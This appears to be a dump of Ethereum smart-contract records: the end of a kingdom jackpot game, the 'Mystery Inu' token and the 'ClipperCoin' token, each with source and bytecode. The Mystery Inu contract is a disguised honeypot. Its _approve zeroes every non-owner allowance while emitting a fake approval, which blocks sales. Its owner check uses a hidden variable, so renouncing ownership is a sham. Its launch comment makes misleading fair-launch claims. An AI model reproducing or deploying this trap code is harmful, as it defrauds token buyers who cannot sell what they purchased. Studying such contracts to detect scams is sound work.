// rounds[currentRound].nbKingdomsType4[sender]--;
// }
// } else if (kingdomType == 5) {
// if (increment == true) {
// rounds[currentRound].nbKingdomsType5[sender]++;
// } else {
// rounds[currentRound].nbKingdomsType5[sender]--;
// }
// }
// }
// function upgradeKingdomType(string _key, uint _type) public payable checkKingdomExistence(_key) onlyKingdomOwner(_key, msg.sender) {
// require(msg.value >= ACTION_TAX);
// require(_type > 0);
// require(_type < 6);
// require(kingdoms[rounds[currentRound].kingdomsKeys[_key]].owner == msg.sender);
// uint kingdomType = kingdoms[rounds[currentRound].kingdomsKeys[_key]].kingdomType;
// setNbKingdomsType(kingdomType, msg.sender, false);
// setNbKingdomsType(_type, msg.sender, true);
// setTypedJackpotWinner(msg.sender, _type);
// kingdoms[rounds[currentRound].kingdomsKeys[_key]].kingdomType = _type;
// asyncSend(bookerAddress, msg.value);
// }
//
// User can call this function to generate new kingdoms (within the limits of available land)
//
function createKingdom(address owner, string _key, string _title, uint _type, bool _locked) onlyForRemainingKingdoms() public payable {
require(now < rounds[currentRound].endTime);
require(_type > 0);
require(_type < 6);
uint basePrice = STARTING_CLAIM_PRICE_WEI;
uint requiredPrice = basePrice;
if (_locked == true) { requiredPrice = requiredPrice.add(ACTION_TAX); }
require(msg.value >= requiredPrice);
require(rounds[currentRound].kingdomsCreated[_key] == false);
uint refundPrice = STARTING_CLAIM_PRICE_WEI.mul(2);
uint nextMinimumPrice = STARTING_CLAIM_PRICE_WEI.add(refundPrice);
uint kingdomId = kingdoms.push(Kingdom("", "", 1, _type, 0, 0, 1, refundPrice, address(0), false)) - 1;
kingdoms[kingdomId].title = _title;
kingdoms[kingdomId].owner = owner;
kingdoms[kingdomId].key = _key;
kingdoms[kingdomId].minimumPrice = nextMinimumPrice;
kingdoms[kingdomId].locked = _locked;
rounds[currentRound].kingdomsKeys[_key] = kingdomId;
rounds[currentRound].kingdomsCreated[_key] = true;
uint jackpotSplitted = requiredPrice.mul(50).div(100);
rounds[currentRound].globalJackpot.balance = rounds[currentRound].globalJackpot.balance.add(jackpotSplitted);
uint transactionId = kingdomTransactions.push(Transaction("", msg.sender, msg.value, 0, jackpotSplitted)) - 1;
kingdomTransactions[transactionId].kingdomKey = _key;
kingdoms[kingdomId].lastTransaction = transactionId;
setNewJackpot(_type, jackpotSplitted, msg.sender);
LandCreatedEvent(_key, msg.sender);
}
//
// Send transaction to compensate the previous owner
//
function compensateLatestMonarch(uint lastTransaction, uint compensationWei) internal {
address compensationAddress = kingdomTransactions[lastTransaction].compensationAddress;
kingdomTransactions[lastTransaction].compensation = compensationWei;
asyncSend(compensationAddress, compensationWei);
}
//
// This function may be useful to force withdraw if user never come back to get his money
//
function forceWithdrawPayments(address payee) public onlyOwner {
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function getStartTime() public view returns (uint startTime) {
return rounds[currentRound].startTime;
}
function getEndTime() public view returns (uint endTime) {
return rounds[currentRound].endTime;
}
function payJackpot(uint _type) public checkIsClosed() {
Round storage finishedRound = rounds[currentRound];
if (_type == 1 && finishedRound.jackpot1.winner != address(0) && finishedRound.jackpot1.balance > 0) {
require(this.balance >= finishedRound.jackpot1.balance);
uint jackpot1TeamComission = (finishedRound.jackpot1.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
asyncSend(bookerAddress, jackpot1TeamComission);
asyncSend(finishedRound.jackpot1.winner, finishedRound.jackpot1.balance.sub(jackpot1TeamComission));
finishedRound.jackpot1.balance = 0;
} else if (_type == 2 && finishedRound.jackpot2.winner != address(0) && finishedRound.jackpot2.balance > 0) {
require(this.balance >= finishedRound.jackpot2.balance);
uint jackpot2TeamComission = (finishedRound.jackpot2.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
asyncSend(bookerAddress, jackpot2TeamComission);
asyncSend(finishedRound.jackpot2.winner, finishedRound.jackpot2.balance.sub(jackpot2TeamComission));
finishedRound.jackpot2.balance = 0;
} else if (_type == 3 && finishedRound.jackpot3.winner != address(0) && finishedRound.jackpot3.balance > 0) {
require(this.balance >= finishedRound.jackpot3.balance);
uint jackpot3TeamComission = (finishedRound.jackpot3.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
asyncSend(bookerAddress, jackpot3TeamComission);
asyncSend(finishedRound.jackpot3.winner, finishedRound.jackpot3.balance.sub(jackpot3TeamComission));
finishedRound.jackpot3.balance = 0;
} else if (_type == 4 && finishedRound.jackpot4.winner != address(0) && finishedRound.jackpot4.balance > 0) {
require(this.balance >= finishedRound.jackpot4.balance);
uint jackpot4TeamComission = (finishedRound.jackpot4.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
asyncSend(bookerAddress, jackpot4TeamComission);
asyncSend(finishedRound.jackpot4.winner, finishedRound.jackpot4.balance.sub(jackpot4TeamComission));
finishedRound.jackpot4.balance = 0;
} else if (_type == 5 && finishedRound.jackpot5.winner != address(0) && finishedRound.jackpot5.balance > 0) {
require(this.balance >= finishedRound.jackpot5.balance);
uint jackpot5TeamComission = (finishedRound.jackpot5.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
asyncSend(bookerAddress, jackpot5TeamComission);
asyncSend(finishedRound.jackpot5.winner, finishedRound.jackpot5.balance.sub(jackpot5TeamComission));
finishedRound.jackpot5.balance = 0;
}
if (finishedRound.globalJackpot.winner != address(0) && finishedRound.globalJackpot.balance > 0) {
require(this.balance >= finishedRound.globalJackpot.balance);
uint globalTeamComission = (finishedRound.globalJackpot.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
asyncSend(bookerAddress, globalTeamComission);
asyncSend(finishedRound.globalJackpot.winner, finishedRound.globalJackpot.balance.sub(globalTeamComission));
finishedRound.globalJackpot.balance = 0;
}
}
//
// After time expiration, owner can call this function to activate the next round of the game
//
function activateNextRound() public checkIsClosed() {
Round storage finishedRound = rounds[currentRound];
require(finishedRound.globalJackpot.balance == 0);
require(finishedRound.jackpot5.balance == 0);
require(finishedRound.jackpot4.balance == 0);
require(finishedRound.jackpot3.balance == 0);
require(finishedRound.jackpot2.balance == 0);
require(finishedRound.jackpot1.balance == 0);
currentRound++;
rounds[currentRound] = Round(Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), 0, 0);
rounds[currentRound].startTime = now;
rounds[currentRound].endTime = now + 7 days;
delete kingdoms;
delete kingdomTransactions;
}
// GETTER AND SETTER FUNCTIONS
function setNewWinner(address _sender, uint _type) internal {
if (rounds[currentRound].globalJackpot.winner == address(0)) {
rounds[currentRound].globalJackpot.winner = _sender;
} else {
if (rounds[currentRound].nbKingdoms[_sender] == rounds[currentRound].nbKingdoms[rounds[currentRound].globalJackpot.winner]) {
if (rounds[currentRound].nbTransactions[_sender] > rounds[currentRound].nbTransactions[rounds[currentRound].globalJackpot.winner]) {
rounds[currentRound].globalJackpot.winner = _sender;
}
} else if (rounds[currentRound].nbKingdoms[_sender] > rounds[currentRound].nbKingdoms[rounds[currentRound].globalJackpot.winner]) {
rounds[currentRound].globalJackpot.winner = _sender;
}
}
setTypedJackpotWinner(_sender, _type);
}
function getJackpot(uint _nb) public view returns (address winner, uint balance, uint winnerCap) {
Round storage round = rounds[currentRound];
if (_nb == 1) {
return (round.jackpot1.winner, round.jackpot1.balance, round.nbKingdomsType1[round.jackpot1.winner]);
} else if (_nb == 2) {
return (round.jackpot2.winner, round.jackpot2.balance, round.nbKingdomsType2[round.jackpot2.winner]);
} else if (_nb == 3) {
return (round.jackpot3.winner, round.jackpot3.balance, round.nbKingdomsType3[round.jackpot3.winner]);
} else if (_nb == 4) {
return (round.jackpot4.winner, round.jackpot4.balance, round.nbKingdomsType4[round.jackpot4.winner]);
} else if (_nb == 5) {
return (round.jackpot5.winner, round.jackpot5.balance, round.nbKingdomsType5[round.jackpot5.winner]);
} else {
return (round.globalJackpot.winner, round.globalJackpot.balance, round.nbKingdoms[round.globalJackpot.winner]);
}
}
function getKingdomCount() public view returns (uint kingdomCount) {
return kingdoms.length;
}
function getKingdomInformations(string kingdomKey) public view returns (string title, uint minimumPrice, uint lastTransaction, uint transactionCount, address currentOwner, bool locked) {
uint kingdomId = rounds[currentRound].kingdomsKeys[kingdomKey];
Kingdom storage kingdom = kingdoms[kingdomId];
return (kingdom.title, kingdom.minimumPrice, kingdom.lastTransaction, kingdom.transactionCount, kingdom.owner, kingdom.locked);
}
} | 0x | {"success": true, "error": null, "results": {}} | 1,495 |
0xa6c0779bb8fb5c29f84afabe82e44d32d6605426 | /*
❔ Mystery Inu! | @MysteryInuFLC
🕗 Launching @ 8pm UTC, October 31st
🧑💻 No Dev Tokens.
💹 No Buy/Sell Limits
💰 $10k Starting Liquidity / Market Cap
🔫 New Anti-Sniper / Anti-Bot Tooling
🔐 LP Lock on Launch
💎 1 Trillion Supply!
🎁 50% Pre-burned to Black Hole
🏦 2% Auto-Staking
🚀 Launched by @FairLaunchCalls
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract MysteryInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'Mystery Inu ';
string private _symbol = 'MysteryInuFLC';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212200639c51c88abb9bbda4d3182b6a1650fb8ed472f9466747090b9bee91dc0356c64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 1,496 |
0x378903a03fb2c3ac76bb52773e3ce11340377a32 | //////////////////////////////////////////////////////////////////////////////////////////
// //
// Title: Clipper Coin Creation Contract //
// Author: David //
// Version: v1.0 //
// Date of current version: 2018/04/26 //
// //
//////////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.4.18;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function div(uint a, uint b) internal pure returns (uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to].add(_value) > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] =balanceOf[_to].add(_value);
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract ClipperCoin is owned, TokenERC20 {
using SafeMath for uint256;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function ClipperCoin(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to].add(_value) > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
Transfer(_from, _to, _value);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
} | 0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b57806318160ddd146101e057806323b872dd1461020b578063313ce5671461029057806342966c68146102c157806370a082311461030657806379cc67901461035d5780638da5cb5b146103c257806395d89b4114610419578063a9059cbb146104a9578063b414d4b6146104f6578063cae9ca5114610551578063dd62ed3e146105fc578063e724529c14610673578063f2fde38b146106c2575b600080fd5b3480156100f757600080fd5b50610100610705565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107a3565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b506101f5610830565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b50610276600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929